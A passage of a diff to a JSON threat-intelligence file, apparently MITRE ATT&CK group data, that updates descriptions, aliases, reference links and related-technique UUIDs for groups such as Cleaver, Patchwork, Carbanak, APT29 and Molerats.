"tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "GCMAN" + "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "value": "Ke3chang - G0004" }, { - "description": "Axiom is a cyber espionage group suspected to be associated with the Chinese government.Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", "meta": { + "external_id": "G0003", "refs": [ - "https://attack.mitre.org/wiki/Group/G0001", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://securelist.com/blog/incidents/70991/games-are-over/", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" - ], - "synonyms": [ - "Axiom", - "Group 72" - ], - "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973" - }, - "related": [ - { - "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Axiom" - }, - { - "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak).[[Citation: Kaspersky Carbanak]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0008", - "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" - ], - "synonyms": [ - "Carbanak", - "Anunak" - ], - "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c" - }, - "related": [ - { - "dest-uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Carbanak" - }, - { - "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.[[Citation: Cylance Cleaver]] Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).[[Citation: Dell Threat Group 2889]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0003", - "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", + "https://attack.mitre.org/groups/G0003", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" ], "synonyms": [ "Cleaver", "Threat Group 2889", "TG-2889" - ], - "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063" + ] }, "related": [ { @@ -1059,23 +5281,1795 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "271e6d40-e191-421a-8f87-a8102452c201", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Cleaver" + "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "value": "Cleaver - G0003" }, { - "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. [[Citation: Operation Quantum Entanglement]][[Citation: Symbiotic APT Groups]] It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. [[Citation: New DragonOK]]", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)", "meta": { + "external_id": "G0040", "refs": [ - "https://attack.mitre.org/wiki/Group/G0017", - "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", + "https://attack.mitre.org/groups/G0040", + "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", + "https://securelist.com/the-dropping-elephant-actor/75328/", + "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf", + "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + ], + "synonyms": [ + "Patchwork", + "Dropping Elephant", + "Chinastrats", + "MONSOON", + "Operation Hangover" + ] + }, + "related": [ + { + "dest-uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + 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It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)", + "meta": { + "external_id": "G0008", + "refs": [ + "https://attack.mitre.org/groups/G0008", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", + "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "https://www.crowdstrike.com/blog/state-criminal-address/" + ], + "synonyms": [ + "Carbanak", + "Anunak", + "Carbon Spider" + ] + }, + "related": [ + { + "dest-uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "value": "Carbanak - G0008" + }, + { + "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)", + "meta": { + "external_id": "G0011", + "refs": [ + "https://attack.mitre.org/groups/G0011", + "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + ], + "synonyms": [ + "PittyTiger" + ] + }, + "related": [ + { + "dest-uuid": "4d37813c-b8e9-4e58-a758-03168d8aa189", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647", + "value": "PittyTiger - G0011" + }, + { + "description": "[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "meta": { + "external_id": "G0023", + "refs": [ + "https://attack.mitre.org/groups/G0023", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + ], + "synonyms": [ + "APT16" + ] + }, + "related": [ + { + "dest-uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70", + "value": "APT16 - G0023" + }, + { + "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "meta": { + "external_id": "G0025", + "refs": [ + "https://attack.mitre.org/groups/G0025", + "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + ], + "synonyms": [ + "APT17", + "Deputy Dog" + ] + }, + "related": [ + { + "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "271e6d40-e191-421a-8f87-a8102452c201", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "090242d7-73fc-4738-af68-20162f7a5aae", + "value": "APT17 - G0025" + }, + { + "description": "[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)", + "meta": { + "external_id": "G0026", + "refs": [ + "https://attack.mitre.org/groups/G0026", + "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/", + "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + ], + "synonyms": [ + "APT18", + "TG-0416", + "Dynamite Panda", + "Threat Group-0416" + ] + }, + "related": [ + { + "dest-uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "2fb07fa4-0d7f-43c7-8ff4-b28404313fe7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8e28dbee-4e9e-4491-9a6c-ee9c9ec4b28b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "value": "APT18 - G0026" + }, + { + "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)", + "meta": { + "external_id": "G0016", + "refs": [ + "https://attack.mitre.org/groups/G0016", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + ], + "synonyms": [ + "APT29", + "The Dukes", + "Cozy Bear", + "CozyDuke" + ] + }, + "related": [ + { + "dest-uuid": "b2056ff0-00b9-482e-b11c-c771daa5f28a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + 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"d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542", + "value": "APT29 - G0016" + }, + { + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)", + "meta": { + "external_id": "G0012", + "refs": [ + "https://attack.mitre.org/groups/G0012", + "https://securelist.com/files/2014/11/darkhotel_kl_07.11.pdf" + ], + "synonyms": [ + "Darkhotel" + ] + }, + "related": [ + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383", + "value": "Darkhotel - G0012" + }, + { + "description": "[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)", + "meta": { + "external_id": "G0021", + "refs": [ + "https://attack.mitre.org/groups/G0021", + "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", + "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf", + "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" + ], + "synonyms": [ + "Molerats", + "Operation Molerats", + "Gaza Cybergang" + ] + }, + "related": [ + { + "dest-uuid": "f7c2e501-73b1-400f-a5d9-2e2e07b7dfde", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411", + "value": "Molerats - G0021" + }, + { + "description": "[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)", + "meta": { + "external_id": "G0018", + "refs": [ + "https://attack.mitre.org/groups/G0018", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "synonyms": [ + "admin@338" + ] + }, + "related": [ + { + "dest-uuid": "ac4bce1f-b3ec-4c44-bd36-b6cc986b319b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4664b683-f578-434f-919b-1c1aad2a1111", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "294e2560-bd48-44b2-9da2-833b5588ad11", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "value": "admin@338 - G0018" + }, + { + "description": "[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)", + "meta": { + "external_id": "G0073", + "refs": [ + "https://attack.mitre.org/groups/G0073", + "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", + 